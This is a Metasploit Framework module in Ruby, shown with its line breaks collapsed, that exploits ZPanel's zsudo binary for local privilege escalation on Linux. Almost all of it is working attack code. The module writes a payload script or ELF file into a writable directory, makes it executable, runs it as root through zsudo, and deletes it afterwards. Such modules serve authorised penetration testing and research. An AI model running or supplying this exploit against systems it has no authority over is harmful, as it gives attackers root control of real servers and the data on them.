## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/post/linux/priv' require 'msf/core/exploit/exe' class Metasploit4 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Post::File include Msf::Post::Common def initialize(info={}) super( update_info( info, { 'Name' => 'ZPanel zsudo Local Privilege Escalation Exploit', 'Description' => %q{ This module abuses the zsudo binary, installed with zpanel, to escalate privileges. In order to work, a session with access to zsudo on the sudoers configuration is needed. This module is useful for post exploitation of ZPanel vulnerabilities, where typically web server privileges are acquired, and this user is allowed to execute zsudo on the sudoers file. }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r', 'juan vazquez' ], 'DisclosureDate' => 'Jun 07 2013', 'Platform' => [ 'unix', 'linux'], 'Arch' => [ ARCH_CMD, ARCH_X86 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'Command payload', { 'Arch' => ARCH_CMD } ], [ 'Linux x86', { 'Arch' => ARCH_X86 } ] ], 'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 }, 'DefaultTarget' => 0, } )) register_options([ # These are not OptPath becuase it's a *remote* path OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]), OptString.new("zsudo", [ true, "Path to zsudo executable", "/etc/zpanel/panel/bin/zsudo" ]), ], self.class) end def check if file?(datastore["zsudo"]) return CheckCode::Detected end return CheckCode::Unknown end def exploit if (target.arch.include? ARCH_CMD) exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.sh" # Using this way of writing the payload to avoid issues when failing to find # a command on the victim for writing binary data cmd_exec "echo \"#{payload.encoded.gsub(/"/, "\\\"")}\" > #{exe_file}" else exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.elf" write_file(exe_file, generate_payload_exe) end cmd_exec "chmod +x #{exe_file}" print_status("Running...") begin cmd_exec "#{datastore["zsudo"]} #{exe_file} #{rand_text_alpha(3 + rand(5))}" ensure cmd_exec "rm -f #{exe_file}" end end end